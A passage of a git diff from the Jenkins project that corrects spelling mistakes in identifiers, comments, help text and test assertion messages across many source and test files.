exists = existenceCache.getIfPresent(idOrFullName); if (exists != null && !exists) { throw new UserMayOrMayNotExistException(String.format("\"%s\" does not exist", idOrFullName)); } else { @@ -119,7 +119,7 @@ public final class UserDetailsCache { */ @Nonnull public UserDetails loadUserByUsername(String idOrFullName) throws UsernameNotFoundException, DataAccessException, ExecutionException { - Boolean exists = existanceCache.getIfPresent(idOrFullName); + Boolean exists = existenceCache.getIfPresent(idOrFullName); if(exists != null && !exists) { throw new UsernameNotFoundException(String.format("\"%s\" does not exist", idOrFullName)); } else { @@ -141,7 +141,7 @@ public final class UserDetailsCache { * Discards all entries in the cache. */ public void invalidateAll() { - existanceCache.invalidateAll(); + existenceCache.invalidateAll(); detailsCache.invalidateAll(); } @@ -150,7 +150,7 @@ public final class UserDetailsCache { * @param idOrFullName the key */ public void invalidate(final String idOrFullName) { - existanceCache.invalidate(idOrFullName); + existenceCache.invalidate(idOrFullName); detailsCache.invalidate(idOrFullName); } @@ -171,17 +171,17 @@ public final class UserDetailsCache { Jenkins jenkins = Jenkins.getInstance(); UserDetails userDetails = jenkins.getSecurityRealm().loadUserByUsername(idOrFullName); if (userDetails == null) { - existanceCache.put(this.idOrFullName, Boolean.FALSE); + existenceCache.put(this.idOrFullName, Boolean.FALSE); throw new NullPointerException("hudson.security.SecurityRealm should never return null. " + jenkins.getSecurityRealm() + " returned null for idOrFullName='" + idOrFullName + "'"); } - existanceCache.put(this.idOrFullName, Boolean.TRUE); + existenceCache.put(this.idOrFullName, Boolean.TRUE); return userDetails; } catch (UsernameNotFoundException e) { - existanceCache.put(this.idOrFullName, Boolean.FALSE); + existenceCache.put(this.idOrFullName, Boolean.FALSE); throw e; } catch (DataAccessException e) { - existanceCache.invalidate(this.idOrFullName); + existenceCache.invalidate(this.idOrFullName); throw e; } } diff --git a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java index 56f4a57b77..3a9d095af1 100644 --- a/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java +++ b/core/src/main/java/jenkins/security/s2m/AdminCallableMonitor.java @@ -49,7 +49,7 @@ public class AdminCallableMonitor extends AdministrativeMonitor { } /** - * Depending on whether the user said "examin" or "dismiss", send him to the right place. + * Depending on whether the user said "examine" or "dismiss", send him to the right place. */ @RequirePOST public HttpResponse doAct(@QueryParameter String dismiss) throws IOException { diff --git a/core/src/main/java/jenkins/util/SystemProperties.java b/core/src/main/java/jenkins/util/SystemProperties.java index 464f347d4c..c8c318887f 100644 --- a/core/src/main/java/jenkins/util/SystemProperties.java +++ b/core/src/main/java/jenkins/util/SystemProperties.java @@ -140,7 +140,7 @@ public class SystemProperties implements ServletContextListener, OnMaster { * @param key the name of the system property. * @param def a default value. * @return the string value of the system property, - * or {@code null} if the the property is missing and the default value is {@code null}. + * or {@code null} if the property is missing and the default value is {@code null}. * * @exception NullPointerException if {@code key} is {@code null}. * @exception IllegalArgumentException if {@code key} is empty. @@ -158,7 +158,7 @@ public class SystemProperties implements ServletContextListener, OnMaster { * @param def a default value. * @param logLevel the level of the log if the provided key is not found. * @return the string value of the system property, - * or {@code null} if the the property is missing and the default value is {@code null}. + * or {@code null} if the property is missing and the default value is {@code null}. * * @exception NullPointerException if {@code key} is {@code null}. * @exception IllegalArgumentException if {@code key} is empty. diff --git a/core/src/main/resources/hudson/Messages.properties b/core/src/main/resources/hudson/Messages.properties index 902cc4036d..80ecb8db83 100644 --- a/core/src/main/resources/hudson/Messages.properties +++ b/core/src/main/resources/hudson/Messages.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. FilePath.did_not_manage_to_validate_may_be_too_sl=Did not manage to validate {0} (may be too slow) -FilePath.validateAntFileMask.whitespaceSeprator=\ +FilePath.validateAntFileMask.whitespaceSeparator=\ Whitespace can no longer be used as the separator. Please Use \u2018,\u2019 as the separator instead. FilePath.validateAntFileMask.doesntMatchAndSuggest=\ \u2018{0}\u2019 doesn\u2019t match anything, but \u2018{1}\u2019 does. Perhaps that\u2019s what you mean? diff --git a/core/src/main/resources/hudson/PluginManager/installed.jelly b/core/src/main/resources/hudson/PluginManager/installed.jelly index 490e70f154..f2cdc4b13c 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.jelly +++ b/core/src/main/resources/hudson/PluginManager/installed.jelly @@ -146,7 +146,7 @@ THE SOFTWARE.

                                                  Failed : ${p.name}

                                                  -
                                                  +
                                                  ${p.exceptionString}
                                                  diff --git a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly index 48854e95fb..9be4024272 100644 --- a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly +++ b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly @@ -26,13 +26,13 @@ THE SOFTWARE. diff --git a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html index 7d2116b37a..1f30835c57 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html +++ b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html @@ -18,7 +18,7 @@ suites, as it allows each build to contain a smaller number of changes, while the total turnaround time decreases as subsequent builds do not need to wait for previous test runs to complete.
                                                  - This feature is also useful for parameterised projects, whose individual build + This feature is also useful for parameterized projects, whose individual build executions — depending on the parameters used — can be completely independent from one another.

                                                  diff --git a/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy b/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy index c6126861e6..517fe30c58 100644 --- a/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy +++ b/core/src/main/resources/hudson/model/EnvironmentContributor/EnvVarsHtml/index.groovy @@ -17,7 +17,7 @@ html { dl { EnvironmentContributor.all().each { e -> st.include(it:e, page:"buildEnv", optional:true) } - // allow SCM classes to have buildEnv.groovy since SCM can contirbute environment variables + // allow SCM classes to have buildEnv.groovy since SCM can contribute environment variables SCM.all().each { e -> st.include(class:e.clazz, page:"buildEnv", optional:true) } } } diff --git a/core/src/main/resources/hudson/scm/SCM/project-changes.jelly b/core/src/main/resources/hudson/scm/SCM/project-changes.jelly index 95b864d7d8..3d18b3ab35 100644 --- a/core/src/main/resources/hudson/scm/SCM/project-changes.jelly +++ b/core/src/main/resources/hudson/scm/SCM/project-changes.jelly @@ -26,7 +26,7 @@ THE SOFTWARE. This view is used to render the project change list like /job//changes While this default implementation can work with any SCM, - subclass may provide diffent implementation to present implementation-specific + subclass may provide different implementation to present implementation-specific information. The 'builds' variable contains the collection of AbstractBuild objects diff --git a/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties b/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties index 6d4dfb1b47..2b2bb03e04 100644 --- a/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties +++ b/core/src/main/resources/hudson/slaves/JNLPLauncher/help.properties @@ -25,7 +25,7 @@ blurb=Allows an agent to be launched using diff --git a/core/src/main/resources/lib/hudson/propertyTable.jelly b/core/src/main/resources/lib/hudson/propertyTable.jelly index 49df583388..1c69142d1c 100644 --- a/core/src/main/resources/lib/hudson/propertyTable.jelly +++ b/core/src/main/resources/lib/hudson/propertyTable.jelly @@ -25,7 +25,7 @@ THE SOFTWARE. - Dispaly sortable table of properties. + Display sortable table of properties. A Map object that gets rendered as a table. diff --git a/core/src/main/resources/lib/layout/html.jelly b/core/src/main/resources/lib/layout/html.jelly index 4e47688f15..3e6b97cc13 100644 --- a/core/src/main/resources/lib/layout/html.jelly +++ b/core/src/main/resources/lib/layout/html.jelly @@ -39,12 +39,12 @@ THE SOFTWARE. specify path that starts from "/" for loading additional CSS stylesheet. - path is interprted as relative to the context root. e.g., + path is interpreted as relative to the context root. e.g., {noformat}<l:layout css="/plugin/mysuperplugin/css/myneatstyle.css">{noformat} This was originally added to allow plugins to load their stylesheets, but - *the use of thie attribute is discouraged now.* + *the use of this attribute is discouraged now.* plugins should now do so by inserting <style> elements and/or <script> elements in <l:header/> tag. diff --git a/core/src/main/resources/testng-1.0.dtd b/core/src/main/resources/testng-1.0.dtd index be81e230d1..b1fcbc219c 100644 --- a/core/src/main/resources/testng-1.0.dtd +++ b/core/src/main/resources/testng-1.0.dtd @@ -137,7 +137,7 @@ - + diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index 7a1b72293b..5656a0a1c5 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -273,7 +273,7 @@ public class FunctionsTest { @Test @PrepareForTest(Stapler.class) - public void testGetActionUrl_unparsable() throws Exception{ + public void testGetActionUrl_unparseable() throws Exception{ assertEquals(null, Functions.getActionUrl(null, createMockAction("http://nowhere.net/stuff?something=^woohoo"))); } diff --git a/core/src/test/java/hudson/PluginWrapperTest.java b/core/src/test/java/hudson/PluginWrapperTest.java index 56504cd0bd..177cdf834b 100644 --- a/core/src/test/java/hudson/PluginWrapperTest.java +++ b/core/src/test/java/hudson/PluginWrapperTest.java @@ -54,7 +54,7 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "fake v42 failed to load", "update Jenkins from v2.0 to v3.0"); + assertContains(ex, "fake v42 failed to load", "update Jenkins from v2.0 to v3.0"); } } @@ -65,7 +65,7 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "dependee v42 failed to load", "dependency v42 is missing. To fix, install v42 or later"); + assertContains(ex, "dependee v42 failed to load", "dependency v42 is missing. To fix, install v42 or later"); } } @@ -77,7 +77,7 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "dependee v42 failed to load", "dependency v3 is older than required. To fix, install v5 or later"); + assertContains(ex, "dependee v42 failed to load", "dependency v3 is older than required. To fix, install v5 or later"); } } @@ -89,11 +89,11 @@ public class PluginWrapperTest { pw.resolvePluginDependencies(); fail(); } catch (IOException ex) { - assertContians(ex, "dependee v42 failed to load", "dependency v5 failed to load. Fix this plugin first"); + assertContains(ex, "dependee v42 failed to load", "dependency v5 failed to load. Fix this plugin first"); } } - private void assertContians(Throwable ex, String... patterns) { + private void assertContains(Throwable ex, String... patterns) { String msg = ex.getMessage(); for (String pattern : patterns) { assertThat(msg, containsString(pattern)); diff --git a/core/src/test/java/hudson/UtilTest.java b/core/src/test/java/hudson/UtilTest.java index fe44a9630c..b733eecefe 100644 --- a/core/src/test/java/hudson/UtilTest.java +++ b/core/src/test/java/hudson/UtilTest.java @@ -441,16 +441,16 @@ public class UtilTest { Util.WAIT_BETWEEN_DELETION_RETRIES = -1000; Util.GC_AFTER_FAILED_DELETE = true; final AtomicReference thrown = new AtomicReference(); - Thread deleteToBeInterupted = new Thread("deleteToBeInterupted") { + Thread deleteToBeInterrupted = new Thread("deleteToBeInterrupted") { public void run() { try { Util.deleteRecursive(dir); } catch( Throwable x ) { thrown.set(x); } } }; - deleteToBeInterupted.start(); - deleteToBeInterupted.interrupt(); - deleteToBeInterupted.join(500); - assertFalse("deletion stopped", deleteToBeInterupted.isAlive()); + deleteToBeInterrupted.start(); + deleteToBeInterrupted.interrupt(); + deleteToBeInterrupted.join(500); + assertFalse("deletion stopped", deleteToBeInterrupted.isAlive()); assertTrue("d1f1 still exists", d1f1.exists()); unlockFileForDeletion(d1f1); Throwable deletionInterruptedEx = thrown.get(); diff --git a/core/src/test/java/hudson/model/AbstractItemTest.java b/core/src/test/java/hudson/model/AbstractItemTest.java index 82ada9dea5..79507b4335 100644 --- a/core/src/test/java/hudson/model/AbstractItemTest.java +++ b/core/src/test/java/hudson/model/AbstractItemTest.java @@ -21,7 +21,7 @@ public class AbstractItemTest { protected StubAbstractItem() { // sending in null as parent as I don't care for my current tests - super(null, "StubAbatractItem"); + super(null, "StubAbstractItem"); } @SuppressWarnings("rawtypes") diff --git a/core/src/test/java/hudson/model/FileParameterValueTest.java b/core/src/test/java/hudson/model/FileParameterValueTest.java index 13f6e339da..0b079da122 100644 --- a/core/src/test/java/hudson/model/FileParameterValueTest.java +++ b/core/src/test/java/hudson/model/FileParameterValueTest.java @@ -43,8 +43,8 @@ public class FileParameterValueTest { final FileParameterValue param1 = new FileParameterValue(paramName, new File("ws_param1.txt"), "param1.txt"); final FileParameterValue param2 = new FileParameterValue(paramName, new File("ws_param2.txt"), "param2.txt"); - assertNotEquals("Files with same locations shoud be considered as different", param1, param2); - assertNotEquals("Files with same locations shoud be considered as different", param2, param1); + assertNotEquals("Files with same locations should be considered as different", param1, param2); + assertNotEquals("Files with same locations should be considered as different", param2, param1); } @Test public void compareNullParams() { diff --git a/core/src/test/java/hudson/model/UserTest.java b/core/src/test/java/hudson/model/UserTest.java index f652bb0c43..efded82496 100644 --- a/core/src/test/java/hudson/model/UserTest.java +++ b/core/src/test/java/hudson/model/UserTest.java @@ -45,7 +45,7 @@ public class UserTest { @Test @Issue("JENKINS-35967") - public void shoudNotAllowIllegalRestrictedNamesInWrongCase() { + public void shouldNotAllowIllegalRestrictedNamesInWrongCase() { assertIdOrFullNameNotAllowed("system"); assertIdOrFullNameNotAllowed("System"); assertIdOrFullNameNotAllowed("SYSTEM"); @@ -55,7 +55,7 @@ public class UserTest { @Test @Issue("JENKINS-35967") - public void shoudNotAllowIllegalRestrictedNamesEvenIfTrimmed() { + public void shouldNotAllowIllegalRestrictedNamesEvenIfTrimmed() { for (String username : User.getIllegalPersistedUsernames()) { assertIdOrFullNameNotAllowed(username); assertIdOrFullNameNotAllowed(" " + username); diff --git a/core/src/test/java/hudson/util/FormValidationTest.java b/core/src/test/java/hudson/util/FormValidationTest.java index 717d1768f4..286079e224 100644 --- a/core/src/test/java/hudson/util/FormValidationTest.java +++ b/core/src/test/java/hudson/util/FormValidationTest.java @@ -99,10 +99,10 @@ public class FormValidationTest { assertTrue(ok_error.renderHtml().contains(ok.getMessage())); assertTrue(ok_error.renderHtml().contains(error.getMessage())); - final FormValidation warninig_error = aggregate(warning, error); - assertEquals(FormValidation.Kind.ERROR, warninig_error.kind); - assertTrue(warninig_error.renderHtml().contains(error.getMessage())); - assertTrue(warninig_error.renderHtml().contains(warning.getMessage())); + final FormValidation warning_error = aggregate(warning, error); + assertEquals(FormValidation.Kind.ERROR, warning_error.kind); + assertTrue(warning_error.renderHtml().contains(error.getMessage())); + assertTrue(warning_error.renderHtml().contains(warning.getMessage())); } private FormValidation aggregate(FormValidation... fvs) { diff --git a/licenseCompleter.groovy b/licenseCompleter.groovy index 93b33219ca..788e51a529 100644 --- a/licenseCompleter.groovy +++ b/licenseCompleter.groovy @@ -1,5 +1,5 @@ /* - This script auguments the missing license information in our dependencies. + This script augments the missing license information in our dependencies. */ complete { // license constants diff --git a/pom.xml b/pom.xml index 0be4d5f073..d3fd13bc7e 100644 --- a/pom.xml +++ b/pom.xml @@ -79,7 +79,7 @@ THE SOFTWARE. - UTF-8 private diff --git a/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy b/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy index 57c5f29cb0..86ea1ecc83 100644 --- a/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy +++ b/test/src/test/groovy/hudson/cli/BuildCommandTest.groovy @@ -205,7 +205,7 @@ public class BuildCommandTest { assertNull("Project should not be built", project.getBuildByNumber(1)); } - @Test void refuseToBuildNewlyCoppiedProject() { + @Test void refuseToBuildNewlyCopiedProject() { def original = j.createFreeStyleProject("original"); def newOne = (FreeStyleProject) j.jenkins.copy(original, "new-one"); diff --git a/test/src/test/java/hudson/ExtensionListTest.java b/test/src/test/java/hudson/ExtensionListTest.java index 459e4b843f..bebe10ee25 100644 --- a/test/src/test/java/hudson/ExtensionListTest.java +++ b/test/src/test/java/hudson/ExtensionListTest.java @@ -142,7 +142,7 @@ public class ExtensionListTest { assertEquals(3,list.size()); assertNotNull(list.get(Sishamo.DescriptorImpl.class)); - // all 3 should be visisble from LIST, too + // all 3 should be visible from LIST, too assertEquals(3,LIST.size()); assertNotNull(LIST.findByName(Tai.class.getName())); assertNotNull(LIST.findByName(Sishamo.class.getName())); diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index 20b36e87a5..40ab7db0a4 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -126,7 +126,7 @@ public class DeleteViewCommandTest { assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete '"+AllView.DEFAULT_VIEW_NAME+"' view")); } - @Test public void deleteViewShoudlFailIfViewNameIsEmpty() { + @Test public void deleteViewShouldFailIfViewNameIsEmpty() { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) .invokeWithArgs("") @@ -137,7 +137,7 @@ public class DeleteViewCommandTest { assertThat(result.stderr(), containsString("ERROR: View name is empty")); } - @Test public void deleteViewShoudlFailIfViewNameIsSpace() { + @Test public void deleteViewShouldFailIfViewNameIsSpace() { final CLICommandInvoker.Result result = command .authorizedTo(View.READ, View.DELETE, Jenkins.READ) .invokeWithArgs(" ") diff --git a/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java b/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java index b67f0e0371..afac245c2f 100644 --- a/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java +++ b/test/src/test/java/hudson/diagnosis/OldDataMonitorTest.java @@ -139,7 +139,7 @@ public class OldDataMonitorTest { ensureEntry.await(); // test will hang here due to JENKINS-24763 - File xml = File.createTempFile("OldDataMontiorTest.slowDiscard", "xml"); + File xml = File.createTempFile("OldDataMonitorTest.slowDiscard", "xml"); xml.deleteOnExit(); OldDataMonitor.changeListener .onChange(new Saveable() {public void save() throws IOException {}}, diff --git a/test/src/test/java/hudson/model/AbstractBuildTest.java b/test/src/test/java/hudson/model/AbstractBuildTest.java index 99cffb8718..55a9326b9c 100644 --- a/test/src/test/java/hudson/model/AbstractBuildTest.java +++ b/test/src/test/java/hudson/model/AbstractBuildTest.java @@ -60,8 +60,8 @@ public class AbstractBuildTest { @SuppressWarnings("deprecation") public void reportErrorShouldNotFailForNonPublisherClass() throws Exception { FreeStyleProject prj = j.createFreeStyleProject(); - ErroneousJobProperty errorneousJobProperty = new ErroneousJobProperty(); - prj.addProperty(errorneousJobProperty); + ErroneousJobProperty erroneousJobProperty = new ErroneousJobProperty(); + prj.addProperty(erroneousJobProperty); QueueTaskFuture future = prj.scheduleBuild2(0); assertThat("Build should be actually scheduled by Jenkins", future, notNullValue()); FreeStyleBuild build = future.get(); diff --git a/test/src/test/java/hudson/model/FingerprintTest.java b/test/src/test/java/hudson/model/FingerprintTest.java index 5cb25a258a..1aa139db49 100644 --- a/test/src/test/java/hudson/model/FingerprintTest.java +++ b/test/src/test/java/hudson/model/FingerprintTest.java @@ -269,7 +269,7 @@ public class FingerprintTest { try (ACLContext _ = ACL.as(user1)) { Fingerprint.BuildPtr original = fingerprint.getOriginal(); assertThat("user1 should able to see the origin", fingerprint.getOriginal(), notNullValue()); - assertThat("Job has been deleted, so Job reference shoud return null", fingerprint.getOriginal().getJob(), nullValue()); + assertThat("Job has been deleted, so Job reference should return null", fingerprint.getOriginal().getJob(), nullValue()); assertEquals("user1 sees the wrong original name with Item.DISCOVER", project.getFullName(), original.getName()); assertEquals("user1 sees the wrong original number with Item.DISCOVER", build.getNumber(), original.getNumber()); assertEquals("user1 should be able to see the job in usages", 1, fingerprint._getUsages().size()); diff --git a/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java b/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java index 59b1f36752..786a39db87 100644 --- a/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java +++ b/test/src/test/java/hudson/model/LabelLoadStatisticsQueueLengthTest.java @@ -188,7 +188,7 @@ public class LabelLoadStatisticsQueueLengthTest { private FreeStyleProject createTestProject() throws IOException { FreeStyleProject project = j.createFreeStyleProject(PROJECT_NAME); // In order to queue multiple builds of the job it needs to be - // parameterised. + // parameterized. project.addProperty(new ParametersDefinitionProperty( new StringParameterDefinition(PARAMETER_NAME, "0"))); // Prevent builds from being queued as blocked by allowing concurrent diff --git a/test/src/test/java/hudson/model/MyViewTest.java b/test/src/test/java/hudson/model/MyViewTest.java index be8ecd9902..723e58029f 100644 --- a/test/src/test/java/hudson/model/MyViewTest.java +++ b/test/src/test/java/hudson/model/MyViewTest.java @@ -101,8 +101,8 @@ public class MyViewTest { assertFalse("View " + view.getDisplayName() + " should not contains job " + job.getDisplayName(), view.getItems().contains(job)); assertFalse("View " + view.getDisplayName() + " should not contains job " + job2.getDisplayName(), view.getItems().contains(job2)); auth.add(Job.CONFIGURE, "User1"); - assertTrue("View " + view.getDisplayName() + " should contains job " + job.getDisplayName(), view.getItems().contains(job)); - assertTrue("View " + view.getDisplayName() + " should contains job " + job2.getDisplayName(), view.getItems().contains(job2)); + assertTrue("View " + view.getDisplayName() + " should contain job " + job.getDisplayName(), view.getItems().contains(job)); + assertTrue("View " + view.getDisplayName() + " should contain job " + job2.getDisplayName(), view.getItems().contains(job2)); } diff --git a/test/src/test/java/hudson/model/MyViewsPropertyTest.java b/test/src/test/java/hudson/model/MyViewsPropertyTest.java index 1abfcacd35..7e5f4cfc97 100644 --- a/test/src/test/java/hudson/model/MyViewsPropertyTest.java +++ b/test/src/test/java/hudson/model/MyViewsPropertyTest.java @@ -51,7 +51,7 @@ public class MyViewsPropertyTest { property.setUser(user); user.addProperty(property); property.readResolve(); - assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME + " defaultly.", property.getView(AllView.DEFAULT_VIEW_NAME)); + assertNotNull("Property should contain " + AllView.DEFAULT_VIEW_NAME + " by default.", property.getView(AllView.DEFAULT_VIEW_NAME)); } @Test @@ -82,10 +82,10 @@ public class MyViewsPropertyTest { MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertTrue("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); + assertTrue("Property should contain " + AllView.DEFAULT_VIEW_NAME, property.getViews().contains(property.getView(AllView.DEFAULT_VIEW_NAME))); View view = new ListView("foo",property); property.addView(view); - assertTrue("Property should contains " + view.name, property.getViews().contains(view)); + assertTrue("Property should contain " + view.name, property.getViews().contains(view)); } @Test @@ -94,11 +94,11 @@ public class MyViewsPropertyTest { MyViewsProperty property = new MyViewsProperty(AllView.DEFAULT_VIEW_NAME); property.readResolve(); property.setUser(user); - assertNotNull("Property should contains " + AllView.DEFAULT_VIEW_NAME, property.getView( + assertNotNull("Property should contain " + AllView.DEFAULT_VIEW_NAME, property.getView( AllView.DEFAULT_VIEW_NAME)); View view = new ListView("foo",property); property.addView(view); - assertEquals("Property should contains " + view.name, view, property.getView(view.name)); + assertEquals("Property should contain " + view.name, view, property.getView(view.name)); } @Test @@ -187,7 +187,7 @@ public class MyViewsPropertyTest { user.addProperty(property); View view = new ListView("foo", property); property.addView(view); - assertTrue("Property should contains view " + view.name, property.getViews().contains(view)); + assertTrue("Property should contain view " + view.name, property.getViews().contains(view)); User.reload(); user = User.get("User"); property = user.getProperty(property.getClass()); diff --git a/test/src/test/java/hudson/model/NodeTest.java b/test/src/test/java/hudson/model/NodeTest.java index 5accdc489a..5901d4e2f6 100644 --- a/test/src/test/java/hudson/model/NodeTest.java +++ b/test/src/test/java/hudson/model/NodeTest.java @@ -181,7 +181,7 @@ public class NodeTest { addDynamicLabel = true; assertTrue("Node should have label1.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("label1"))); assertTrue("Node should have label2.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("label2"))); - assertTrue("Node should have dynamicly added dynamicLabel.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("dynamicLabel"))); + assertTrue("Node should have dynamically added dynamicLabel.", node.getAssignedLabels().contains(j.jenkins.getLabelAtom("dynamicLabel"))); assertFalse("Node should not have label notContained.", node.getAssignedLabels().contains(notContained)); assertTrue("Node should have self label.", node.getAssignedLabels().contains(node.getSelfLabel())); } @@ -204,7 +204,7 @@ public class NodeTest { String message = Messages._Node_LabelMissing(node.getNodeName(),j.jenkins.getLabel("notContained")).toString(); assertEquals("Cause of blockage should be missing label.", message, node.canTake(item3).getShortDescription()); ((Slave)node).setMode(Node.Mode.EXCLUSIVE); - assertNotNull("Node should not take project which has null label bacause it is in exclusive mode.", node.canTake(item2)); + assertNotNull("Node should not take project which has null label because it is in exclusive mode.", node.canTake(item2)); message = Messages._Node_BecauseNodeIsReserved(node.getNodeName()).toString(); assertEquals("Cause of blockage should be reserved label.", message, node.canTake(item2).getShortDescription()); node.getNodeProperties().add(new NodePropertyImpl()); @@ -229,12 +229,12 @@ public class NodeTest { public void testCreatePath() throws Exception { Node node = j.createOnlineSlave(); Node node2 = j.createSlave(); - String absolutPath = ((Slave)node).remoteFS; - FilePath path = node.createPath(absolutPath); + String absolutePath = ((Slave)node).remoteFS; + FilePath path = node.createPath(absolutePath); assertNotNull("Path should be created.", path); assertNotNull("Channel should be set.", path.getChannel()); assertEquals("Channel should be equals to channel of node.", node.getChannel(), path.getChannel()); - path = node2.createPath(absolutPath); + path = node2.createPath(absolutePath); assertNull("Path should be null if slave have channel null.", path); } diff --git a/test/src/test/java/hudson/model/ProjectTest.java b/test/src/test/java/hudson/model/ProjectTest.java index 86cfe2435f..b15128ce5d 100644 --- a/test/src/test/java/hudson/model/ProjectTest.java +++ b/test/src/test/java/hudson/model/ProjectTest.java @@ -338,7 +338,7 @@ public class ProjectTest { assertTrue("Project did not save scm checkout strategy.", p.getScmCheckoutStrategy() instanceof SCMCheckoutStrategyImpl); assertEquals("Project did not save quiet period.", 15, p.getQuietPeriod()); assertTrue("Project did not save block if downstream is building.", p.blockBuildWhenDownstreamBuilding()); - assertTrue("Project did not save block if upstream is buildidng.", p.blockBuildWhenUpstreamBuilding()); + assertTrue("Project did not save block if upstream is building.", p.blockBuildWhenUpstreamBuilding()); assertNotNull("Project did not save jdk", p.getJDK()); assertEquals("Project did not save custom workspace.", "/some/path", p.getCustomWorkspace()); } diff --git a/test/src/test/java/hudson/model/QueueTest.java b/test/src/test/java/hudson/model/QueueTest.java index 3370145f9f..2812c1099c 100644 --- a/test/src/test/java/hudson/model/QueueTest.java +++ b/test/src/test/java/hudson/model/QueueTest.java @@ -876,7 +876,7 @@ public class QueueTest { assertTrue(Queue.getInstance().getBuildableItems().get(0).task.getDisplayName().equals(matrixProject.displayName)); } - //let's make sure that the downstram project is not started before the upstream --> we want to simulate + //let's make sure that the downstream project is not started before the upstream --> we want to simulate // the case: buildable-->blocked-->buildable public static class BlockDownstreamProjectExecution extends NodeProperty { @Override diff --git a/test/src/test/java/hudson/model/UserTest.java b/test/src/test/java/hudson/model/UserTest.java index e92cf9ebc5..e21313c8c7 100644 --- a/test/src/test/java/hudson/model/UserTest.java +++ b/test/src/test/java/hudson/model/UserTest.java @@ -252,7 +252,7 @@ public class UserTest { user.addProperty(prop); assertNotNull("User should have SomeUserProperty property.", user.getProperty(SomeUserProperty.class)); assertEquals("UserProperty1 should be assigned to its descriptor", prop, user.getProperties().get(prop.getDescriptor())); - assertTrue("User should should contains SomeUserProperty.", user.getAllProperties().contains(prop)); + assertTrue("User should should contain SomeUserProperty.", user.getAllProperties().contains(prop)); User.reload(); assertNotNull("User should have SomeUserProperty property.", user.getProperty(SomeUserProperty.class)); } @@ -402,7 +402,7 @@ public class UserTest { SecurityContextHolder.getContext().setAuthentication(user2.impersonate()); try{ user.doConfigSubmit(null, null); - fail("User should not have permission to configure antoher user."); + fail("User should not have permission to configure another user."); } catch(Exception e){ if(!(e.getClass().isAssignableFrom(AccessDeniedException2.class))){ @@ -440,7 +440,7 @@ public class UserTest { SecurityContextHolder.getContext().setAuthentication(user2.impersonate()); try{ user.doDoDelete(null, null); - fail("User should not have permission to delete antoher user."); + fail("User should not have permission to delete another user."); } catch(Exception e){ if(!(e.getClass().isAssignableFrom(AccessDeniedException2.class))){ diff --git a/test/src/test/java/hudson/model/ViewTest.java b/test/src/test/java/hudson/model/ViewTest.java index e4de723f7e..9524ef21c6 100644 --- a/test/src/test/java/hudson/model/ViewTest.java +++ b/test/src/test/java/hudson/model/ViewTest.java @@ -417,7 +417,7 @@ public class ViewTest { HtmlForm f = j.createWebClient().getPage(view, "configure").getFormByName("viewConfig"); ((HtmlLabel) DomNodeUtil.selectSingleNode(f, ".//LABEL[text()='Test property']")).click(); j.submit(f); - assertNotNull("View should contains ViewPropertyImpl property.", view.getProperties().get(PropertyImpl.class)); + assertNotNull("View should contain ViewPropertyImpl property.", view.getProperties().get(PropertyImpl.class)); } private ListView listView(String name) throws IOException { diff --git a/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java b/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java index 9e182f2e10..dc2c8e0c5c 100644 --- a/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java +++ b/test/src/test/java/hudson/model/WorkspaceCleanupThreadTest.java @@ -149,7 +149,7 @@ public class WorkspaceCleanupThreadTest { assertFalse(ws.exists()); } - @Test @WithoutJenkins public void reocurencePeriodIsInhours() { + @Test @WithoutJenkins public void recurrencePeriodIsInHours() { assertEquals( WorkspaceCleanupThread.recurrencePeriodHours * 60 * 60 * 1000 , new 